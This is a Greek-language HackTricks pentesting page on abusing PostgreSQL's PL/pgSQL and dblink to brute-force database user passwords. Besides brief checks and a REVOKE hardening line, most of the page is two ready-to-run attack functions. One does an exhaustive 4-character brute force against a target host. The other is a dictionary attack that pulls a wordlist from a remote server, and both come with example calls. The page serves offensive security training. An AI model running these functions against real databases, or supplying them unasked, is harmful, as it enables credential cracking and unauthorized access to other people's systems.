PL/pgSQL Password Bruteforce

Reading time: 4 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βρείτε περισσότερες πληροφορίες σχετικά με αυτές τις επιθέσεις στο πρωτότυπο έγγραφο.

PL/pgSQL είναι μια πλήρως χαρακτηριστική γλώσσα προγραμματισμού που επεκτείνει τις δυνατότητες του SQL προσφέροντας βελτιωμένο διαδικαστικό έλεγχο. Αυτό περιλαμβάνει τη χρήση βρόχων και διάφορων δομών ελέγχου. Οι συναρτήσεις που έχουν δημιουργηθεί στη γλώσσα PL/pgSQL μπορούν να κληθούν από δηλώσεις SQL και triggers, διευρύνοντας το πεδίο των λειτουργιών εντός του περιβάλλοντος της βάσης δεδομένων.

Μπορείτε να εκμεταλλευτείτε αυτή τη γλώσσα προκειμένου να ζητήσετε από το PostgreSQL να κάνει brute-force τα διαπιστευτήρια των χρηστών, αλλά πρέπει να υπάρχει στη βάση δεδομένων. Μπορείτε να επαληθεύσετε την ύπαρξή του χρησιμοποιώντας:

sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |

Κατά προεπιλογή, η δημιουργία συναρτήσεων είναι ένα προνόμιο που παραχωρείται στο PUBLIC, όπου το PUBLIC αναφέρεται σε κάθε χρήστη αυτού του συστήματος βάσεων δεδομένων. Για να το αποτρέψει αυτό, ο διαχειριστής θα μπορούσε να έχει ανακαλέσει το προνόμιο USAGE από το δημόσιο τομέα:

sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

Σε αυτή την περίπτωση, το προηγούμενο ερώτημά μας θα έβγαζε διαφορετικά αποτελέσματα:

sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}

Σημειώστε ότι για να λειτουργήσει το παρακάτω σενάριο η συνάρτηση dblink πρέπει να υπάρχει. Αν δεν υπάρχει, μπορείτε να προσπαθήσετε να την δημιουργήσετε με

sql
CREATE EXTENSION dblink;

Password Brute Force

Εδώ είναι πώς θα μπορούσατε να εκτελέσετε μια επίθεση brute force σε κωδικό πρόσβασης 4 χαρακτήρων:

sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';

//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Σημειώστε ότι ακόμη και η βίαιη δοκιμή 4 χαρακτήρων μπορεί να διαρκέσει αρκετά λεπτά.

Μπορείτε επίσης να κατεβάσετε μια λίστα λέξεων και να δοκιμάσετε μόνο αυτούς τους κωδικούς πρόσβασης (επίθεση λεξικού):

sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;

EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'

-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks